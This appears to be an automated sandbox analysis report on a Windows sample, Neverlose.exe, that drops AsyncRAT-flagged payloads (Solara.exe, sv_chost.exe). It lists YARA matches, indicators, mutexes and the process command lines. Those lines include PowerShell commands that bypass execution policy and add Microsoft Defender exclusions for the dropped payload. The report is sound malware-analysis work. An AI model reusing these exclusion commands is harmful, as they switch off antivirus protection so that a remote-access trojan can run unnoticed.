Windows Analysis Report
Neverlose.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: 4.0.Solara.exe.da0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.Neverlose.exe.3942eb0.5.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.Neverlose.exe.3939200.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\Solara.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\sv_chost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

PE file has nameless sections

Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_010232A6	0_2_010232A6
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_02E740F0	0_2_02E740F0
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_02E71160	0_2_02E71160
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_02E747A0	0_2_02E747A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F6B490	1_2_04F6B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F6B470	1_2_04F6B470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_04F60C62	1_2_04F60C62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_08F93A98	1_2_08F93A98
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B698586	4_2_00007FFD9B698586
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B691679	4_2_00007FFD9B691679
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B699332	4_2_00007FFD9B699332
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B6913AD	4_2_00007FFD9B6913AD
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B69204D	4_2_00007FFD9B69204D
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B6916B9	4_2_00007FFD9B6916B9
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 4_2_00007FFD9B690EFA	4_2_00007FFD9B690EFA
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Code function: 5_2_01310890	5_2_01310890
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Code function: 5_2_01310880	5_2_01310880
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 10_2_00007FFD9B691679	10_2_00007FFD9B691679
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 10_2_00007FFD9B69204D	10_2_00007FFD9B69204D
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 10_2_00007FFD9B6916B9	10_2_00007FFD9B6916B9
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 10_2_00007FFD9B690EFA	10_2_00007FFD9B690EFA
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 15_2_00007FFD9B681679	15_2_00007FFD9B681679
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 15_2_00007FFD9B68204D	15_2_00007FFD9B68204D
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 15_2_00007FFD9B6816B9	15_2_00007FFD9B6816B9
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Code function: 15_2_00007FFD9B680EFA	15_2_00007FFD9B680EFA
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 24_2_00007FFD9B6B1679	24_2_00007FFD9B6B1679
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 24_2_00007FFD9B6B204D	24_2_00007FFD9B6B204D
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 24_2_00007FFD9B6B16B9	24_2_00007FFD9B6B16B9
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 24_2_00007FFD9B6B0EFA	24_2_00007FFD9B6B0EFA
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 25_2_00007FFD9B6C1679	25_2_00007FFD9B6C1679
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 25_2_00007FFD9B6C204D	25_2_00007FFD9B6C204D
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 25_2_00007FFD9B6C16B9	25_2_00007FFD9B6C16B9
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 25_2_00007FFD9B6C0EFA	25_2_00007FFD9B6C0EFA
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 26_2_00007FFD9B6C1679	26_2_00007FFD9B6C1679
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 26_2_00007FFD9B6C204D	26_2_00007FFD9B6C204D
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 26_2_00007FFD9B6C16B9	26_2_00007FFD9B6C16B9
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Code function: 26_2_00007FFD9B6C0EFA	26_2_00007FFD9B6C0EFA

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Solara.exe 645697F87E53786ED389243B7C493452D1F4DDE157741BBE27D31F4BD87F833B
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe A7FECFC225DFDD4E14DCD4D1B4BA1B9F8E4D1984F1CDD8CDA3A9987E5D53C239
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\sv_chost.exe 645697F87E53786ED389243B7C493452D1F4DDE157741BBE27D31F4BD87F833B

Source: C:\Users\user\Desktop\Neverlose.exe

Code function: String function: 0100C264 appears 99 times

Source: Neverlose.exe, 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs Neverlose.exe
Source: Neverlose.exe, 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameExloader.exe4 vs Neverlose.exe
Source: Neverlose.exe, 00000000.00000002.1726255425.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameS vs Neverlose.exe
Source: Neverlose.exe, 00000000.00000002.1730503666.0000000003921000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSolaraBootstrapper.exeF vs Neverlose.exe
Source: Neverlose.exe, 00000000.00000000.1661428680.0000000001006000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSolar.exe4 vs Neverlose.exe
Source: Neverlose.exe	Binary or memory string: OriginalFilenameSolar.exe4 vs Neverlose.exe

Source: Neverlose.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.0.Solara.exe.da0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.Neverlose.exe.3942eb0.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.Neverlose.exe.3939200.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\Solara.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\sv_chost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: Neverlose.exe	Static PE information: Section: ZLIB complexity 1.000396728515625
Source: Neverlose.exe	Static PE information: Section: ZLIB complexity 1.021484375
Source: Neverlose.exe	Static PE information: Section: .data ZLIB complexity 0.9972337805706522

Source: Solara.exe.0.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Solara.exe.0.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Solara.exe.0.dr, E8phRKCKw5AfpQsOlZWL2sYGK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, E8phRKCKw5AfpQsOlZWL2sYGK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: sv_chost.exe.4.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: sv_chost.exe.4.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: sv_chost.exe.4.dr, E8phRKCKw5AfpQsOlZWL2sYGK.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: Solara.exe.0.dr, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	Base64 encoded string: 'ZlWq0vOHV47P8smKEgnpoR4f0pmeGeOJSJzUoTKZBirfgB368AyOdTG2pvbs', 'MlpVLMsyL3MQ8UzeeUh5jb7o1tL46G0C1S2BF94nvDqLzpkN1pF8YMwAFf96'
Source: Solara.exe.0.dr, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	Base64 encoded string: 'owkEInksJw6uLbHd1asDQ0GRfBT2pcEsGoziQEeTYBXK3vnkul284PUsHXt7', 'SqOjRI22OqON4cxZl40CFSc2hcsIthEgxjzG1HrUNsrix73DVKoOhEds1fxP'
Source: Solara.exe.0.dr, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	Base64 encoded string: 'pYwN7tircv5ttVuUHFbTsfAoTIpP5AnebDE20BSi0MVJW6ctfkeYXvLD5ZBN'
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	Base64 encoded string: 'TwyA7zt3EDNnlbNEXzWFXC2BkibnwvpHS4OJK4wj4mbx9D5DGxwHc8NUAbdX', 'Tq85S24eKnWENne74CNJjWJzOXPHN62RfgAqPLQ6wy9p3jgQREc87YHKxvpn', 'ujWPyvxUq9QfOvgKulpdSyZGkbcZ2QoDtHq5o2oyPzQbdWcydkr2xnLN6L43', 'ihvvvkLCjLWPtiXfCuFu6pSACpRuEMhvUei3AKry76MRezxjvGJeCM8UnjK1', 'YsXN4FLGEvmrjugyDRqfuss8BYb16UYXXw5hep0Z8g8mVOtCyT9JDPpH7lIl', 'QIKf2cy5kTLFUVW4rboChf9fs1xKT85ka4vArmDXfdRXZK7P9O95ti18Fxuv', 'h0N3Eecg4eyTHegs9mqvqfnzctLswbQ8STQgTknOM1KklSTo1cq4oPawwzLr'
Source: Solara.exe.0.dr, P2XOur6bqoe5LxNtDHyiL3aGh.cs	Base64 encoded string: 'WRSn4awDFXjFcMb7NhnccjmZFB5Gx6Z6l76tMerDHIrGqKXyxdbjAdZ1BpsJ'
Source: Solara.exe.0.dr, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	Base64 encoded string: 'hwHBtxzU1vNyn7VS0QnzlShGBDsSkdCwlmH15VDRTPulAY9ZhIgPdhqUingX', 'YROvapJV4jLXmqSnmlJHw9jjYNAXshm91bWRoKA9fgFV84VoVjbXXgxmXCGY'
Source: Solara.exe.0.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Base64 encoded string: 'heKmWSALDlWFL20gspoKjSgjfY2mQna2tZYZUiemEDX7JENQHwL6cd8u8TD8', 'ZscL7SAqCgHy04wO9erh2SXA0ww20zLJtBfvpiaZPQqvHC7cJIVETdsWuauq', 'jWzM2a2KnCzchqUFpWR04dXb6GjMLcZ7PsH8E0dDTWsZA7CaGB6eAMImX4uI', 'rUbkJpkp9Me9rnSJvjDmlO8oNf7ttjWGXN6gn5P8CiYeGKfk82XGE6d1VEr1', 'VXUcx9W0fv5eysauHhPkwqKZBewq6uDZr8IwXG5sNAMCsix9Bi2k3sp7rnK5', 'HuV2yF3Xhr5JvtDIObe19P77lJThcuPA1r8rUVF1FeerETqRwhyo3a7TDgUr', 'ol68sad9kzwaT0c1LQIenPt0qwOIUHyUNbHVezXj6ZYBVi5mpfS8cTapflEJ', 'vcJNFRIz2NCwoOsKgVN5r0C48MDA9BGbPCif3MnM9a4eMi0IQhL4nX8rvXw9', 'KwGAB22mwYYriNCPGDxtdFRWHNCCiXfI3V82H9ebSdPY9Lr2GwBehV099MB7'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	Base64 encoded string: 'ZlWq0vOHV47P8smKEgnpoR4f0pmeGeOJSJzUoTKZBirfgB368AyOdTG2pvbs', 'MlpVLMsyL3MQ8UzeeUh5jb7o1tL46G0C1S2BF94nvDqLzpkN1pF8YMwAFf96'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	Base64 encoded string: 'owkEInksJw6uLbHd1asDQ0GRfBT2pcEsGoziQEeTYBXK3vnkul284PUsHXt7', 'SqOjRI22OqON4cxZl40CFSc2hcsIthEgxjzG1HrUNsrix73DVKoOhEds1fxP'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	Base64 encoded string: 'pYwN7tircv5ttVuUHFbTsfAoTIpP5AnebDE20BSi0MVJW6ctfkeYXvLD5ZBN'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	Base64 encoded string: 'TwyA7zt3EDNnlbNEXzWFXC2BkibnwvpHS4OJK4wj4mbx9D5DGxwHc8NUAbdX', 'Tq85S24eKnWENne74CNJjWJzOXPHN62RfgAqPLQ6wy9p3jgQREc87YHKxvpn', 'ujWPyvxUq9QfOvgKulpdSyZGkbcZ2QoDtHq5o2oyPzQbdWcydkr2xnLN6L43', 'ihvvvkLCjLWPtiXfCuFu6pSACpRuEMhvUei3AKry76MRezxjvGJeCM8UnjK1', 'YsXN4FLGEvmrjugyDRqfuss8BYb16UYXXw5hep0Z8g8mVOtCyT9JDPpH7lIl', 'QIKf2cy5kTLFUVW4rboChf9fs1xKT85ka4vArmDXfdRXZK7P9O95ti18Fxuv', 'h0N3Eecg4eyTHegs9mqvqfnzctLswbQ8STQgTknOM1KklSTo1cq4oPawwzLr'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, P2XOur6bqoe5LxNtDHyiL3aGh.cs	Base64 encoded string: 'WRSn4awDFXjFcMb7NhnccjmZFB5Gx6Z6l76tMerDHIrGqKXyxdbjAdZ1BpsJ'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	Base64 encoded string: 'hwHBtxzU1vNyn7VS0QnzlShGBDsSkdCwlmH15VDRTPulAY9ZhIgPdhqUingX', 'YROvapJV4jLXmqSnmlJHw9jjYNAXshm91bWRoKA9fgFV84VoVjbXXgxmXCGY'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Base64 encoded string: 'heKmWSALDlWFL20gspoKjSgjfY2mQna2tZYZUiemEDX7JENQHwL6cd8u8TD8', 'ZscL7SAqCgHy04wO9erh2SXA0ww20zLJtBfvpiaZPQqvHC7cJIVETdsWuauq', 'jWzM2a2KnCzchqUFpWR04dXb6GjMLcZ7PsH8E0dDTWsZA7CaGB6eAMImX4uI', 'rUbkJpkp9Me9rnSJvjDmlO8oNf7ttjWGXN6gn5P8CiYeGKfk82XGE6d1VEr1', 'VXUcx9W0fv5eysauHhPkwqKZBewq6uDZr8IwXG5sNAMCsix9Bi2k3sp7rnK5', 'HuV2yF3Xhr5JvtDIObe19P77lJThcuPA1r8rUVF1FeerETqRwhyo3a7TDgUr', 'ol68sad9kzwaT0c1LQIenPt0qwOIUHyUNbHVezXj6ZYBVi5mpfS8cTapflEJ', 'vcJNFRIz2NCwoOsKgVN5r0C48MDA9BGbPCif3MnM9a4eMi0IQhL4nX8rvXw9', 'KwGAB22mwYYriNCPGDxtdFRWHNCCiXfI3V82H9ebSdPY9Lr2GwBehV099MB7'
Source: sv_chost.exe.4.dr, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	Base64 encoded string: 'ZlWq0vOHV47P8smKEgnpoR4f0pmeGeOJSJzUoTKZBirfgB368AyOdTG2pvbs', 'MlpVLMsyL3MQ8UzeeUh5jb7o1tL46G0C1S2BF94nvDqLzpkN1pF8YMwAFf96'
Source: sv_chost.exe.4.dr, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	Base64 encoded string: 'owkEInksJw6uLbHd1asDQ0GRfBT2pcEsGoziQEeTYBXK3vnkul284PUsHXt7', 'SqOjRI22OqON4cxZl40CFSc2hcsIthEgxjzG1HrUNsrix73DVKoOhEds1fxP'
Source: sv_chost.exe.4.dr, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	Base64 encoded string: 'pYwN7tircv5ttVuUHFbTsfAoTIpP5AnebDE20BSi0MVJW6ctfkeYXvLD5ZBN'
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	Base64 encoded string: 'TwyA7zt3EDNnlbNEXzWFXC2BkibnwvpHS4OJK4wj4mbx9D5DGxwHc8NUAbdX', 'Tq85S24eKnWENne74CNJjWJzOXPHN62RfgAqPLQ6wy9p3jgQREc87YHKxvpn', 'ujWPyvxUq9QfOvgKulpdSyZGkbcZ2QoDtHq5o2oyPzQbdWcydkr2xnLN6L43', 'ihvvvkLCjLWPtiXfCuFu6pSACpRuEMhvUei3AKry76MRezxjvGJeCM8UnjK1', 'YsXN4FLGEvmrjugyDRqfuss8BYb16UYXXw5hep0Z8g8mVOtCyT9JDPpH7lIl', 'QIKf2cy5kTLFUVW4rboChf9fs1xKT85ka4vArmDXfdRXZK7P9O95ti18Fxuv', 'h0N3Eecg4eyTHegs9mqvqfnzctLswbQ8STQgTknOM1KklSTo1cq4oPawwzLr'
Source: sv_chost.exe.4.dr, P2XOur6bqoe5LxNtDHyiL3aGh.cs	Base64 encoded string: 'WRSn4awDFXjFcMb7NhnccjmZFB5Gx6Z6l76tMerDHIrGqKXyxdbjAdZ1BpsJ'
Source: sv_chost.exe.4.dr, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	Base64 encoded string: 'hwHBtxzU1vNyn7VS0QnzlShGBDsSkdCwlmH15VDRTPulAY9ZhIgPdhqUingX', 'YROvapJV4jLXmqSnmlJHw9jjYNAXshm91bWRoKA9fgFV84VoVjbXXgxmXCGY'
Source: sv_chost.exe.4.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Base64 encoded string: 'heKmWSALDlWFL20gspoKjSgjfY2mQna2tZYZUiemEDX7JENQHwL6cd8u8TD8', 'ZscL7SAqCgHy04wO9erh2SXA0ww20zLJtBfvpiaZPQqvHC7cJIVETdsWuauq', 'jWzM2a2KnCzchqUFpWR04dXb6GjMLcZ7PsH8E0dDTWsZA7CaGB6eAMImX4uI', 'rUbkJpkp9Me9rnSJvjDmlO8oNf7ttjWGXN6gn5P8CiYeGKfk82XGE6d1VEr1', 'VXUcx9W0fv5eysauHhPkwqKZBewq6uDZr8IwXG5sNAMCsix9Bi2k3sp7rnK5', 'HuV2yF3Xhr5JvtDIObe19P77lJThcuPA1r8rUVF1FeerETqRwhyo3a7TDgUr', 'ol68sad9kzwaT0c1LQIenPt0qwOIUHyUNbHVezXj6ZYBVi5mpfS8cTapflEJ', 'vcJNFRIz2NCwoOsKgVN5r0C48MDA9BGbPCif3MnM9a4eMi0IQhL4nX8rvXw9', 'KwGAB22mwYYriNCPGDxtdFRWHNCCiXfI3V82H9ebSdPY9Lr2GwBehV099MB7'

Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: sv_chost.exe.4.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: sv_chost.exe.4.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Solara.exe.0.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Solara.exe.0.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@29/31@4/3

Source: C:\Users\user\Desktop\Neverlose.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Neverlose.exe.log

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_03
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Mutant created: \Sessions\1\BaseNamedObjects\R6lKB8yQzd1uAv9U
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_03
Source: C:\Users\user\Desktop\Neverlose.exe	Mutant created: \Sessions\1\BaseNamedObjects\yP4EFLGPJOhez7VB7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7216:120:WilError_03

Source: C:\Users\user\Desktop\Neverlose.exe

File created: C:\Users\user\AppData\Local\Temp\Solara.exe

Source: C:\Users\user\Desktop\Neverlose.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\Neverlose.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Neverlose.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Neverlose.exe	Virustotal: Detection: 41%
Source: Neverlose.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\Neverlose.exe

File read: C:\Users\user\Desktop\Neverlose.exe

Source: unknown	Process created: C:\Users\user\Desktop\Neverlose.exe "C:\Users\user\Desktop\Neverlose.exe"
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\Desktop\Neverlose.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Solara.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
